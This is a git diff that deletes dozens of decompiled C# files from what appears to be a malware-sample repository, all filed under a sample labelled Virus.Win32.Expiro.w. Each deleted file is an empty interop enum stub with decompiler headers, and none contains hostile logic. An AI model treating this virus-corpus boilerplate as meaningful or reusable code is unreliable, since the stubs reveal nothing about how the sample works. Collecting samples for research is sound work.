a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECLOSE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECLOSE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLECLOSE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECONTF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECONTF.cs deleted file mode 100644 index 01b170b7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLECONTF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLECONTF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLECONTF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEDCFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEDCFLAGS.cs deleted file mode 100644 index 436635dd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEDCFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEDCFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagOLEDCFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEGETMONIKER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEGETMONIKER.cs deleted file mode 100644 index e5ee1117..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEGETMONIKER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEGETMONIKER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEGETMONIKER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLELINKBIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLELINKBIND.cs deleted file mode 100644 index ee18251d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLELINKBIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLELINKBIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLELINKBIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEMISC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEMISC.cs deleted file mode 100644 index 7a1d3401..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEMISC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEMISC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagOLEMISC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLERENDER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLERENDER.cs deleted file mode 100644 index 8d9a8890..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLERENDER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLERENDER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLERENDER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEUPDATE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEUPDATE.cs deleted file mode 100644 index 174b6ab2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEUPDATE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEUPDATE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagOLEUPDATE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEVERBATTRIB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEVERBATTRIB.cs deleted file mode 100644 index 98839415..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEVERBATTRIB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEVERBATTRIB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagOLEVERBATTRIB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEWHICHMK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEWHICHMK.cs deleted file mode 100644 index 2a06232d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOLEWHICHMK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOLEWHICHMK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagOLEWHICHMK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOPEN_AS_INFO_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOPEN_AS_INFO_FLAGS.cs deleted file mode 100644 index b6266818..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagOPEN_AS_INFO_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagOPEN_AS_INFO_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagOPEN_AS_INFO_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGMSG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGMSG.cs deleted file mode 100644 index 68a1455e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGMSG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGMSG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagPENDINGMSG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGTYPE.cs deleted file mode 100644 index 720d3d3e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPENDINGTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPENDINGTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPENDINGTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPERSIST_SPROPSTORE_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPERSIST_SPROPSTORE_FLAGS.cs deleted file mode 100644 index 37817f22..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPERSIST_SPROPSTORE_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPERSIST_SPROPSTORE_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPERSIST_SPROPSTORE_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPKA_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPKA_FLAGS.cs deleted file mode 100644 index dfad1053..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPKA_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPKA_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPKA_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPOINTERINACTIVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPOINTERINACTIVE.cs deleted file mode 100644 index fcfe9ea4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPOINTERINACTIVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPOINTERINACTIVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPOINTERINACTIVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPBAG2_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPBAG2_TYPE.cs deleted file mode 100644 index b1ce7533..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPBAG2_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPBAG2_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPBAG2_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_AGGREGATION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_AGGREGATION_TYPE.cs deleted file mode 100644 index 8a9076fc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_AGGREGATION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_AGGREGATION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_AGGREGATION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_COLUMNINDEX_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_COLUMNINDEX_TYPE.cs deleted file mode 100644 index 848f3925..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_COLUMNINDEX_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_COLUMNINDEX_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagPROPDESC_COLUMNINDEX_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_CONDITION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_CONDITION_TYPE.cs deleted file mode 100644 index 9d3ad319..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_CONDITION_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_CONDITION_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagPROPDESC_CONDITION_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_DISPLAYTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_DISPLAYTYPE.cs deleted file mode 100644 index 44e1bd7c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_DISPLAYTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_DISPLAYTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_DISPLAYTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_ENUMFILTER.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_ENUMFILTER.cs deleted file mode 100644 index 8854641b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_ENUMFILTER.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_ENUMFILTER -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_ENUMFILTER -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_FORMAT_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_FORMAT_FLAGS.cs deleted file mode 100644 index 7f6bdf74..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_FORMAT_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_FORMAT_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagPROPDESC_FORMAT_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_GROUPING_RANGE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_GROUPING_RANGE.cs deleted file mode 100644 index 3a36c06c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_GROUPING_RANGE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagPROPDESC_GROUPING_RANGE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagPROPDESC_GROUPING_RANGE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs deleted file mode 100644 index 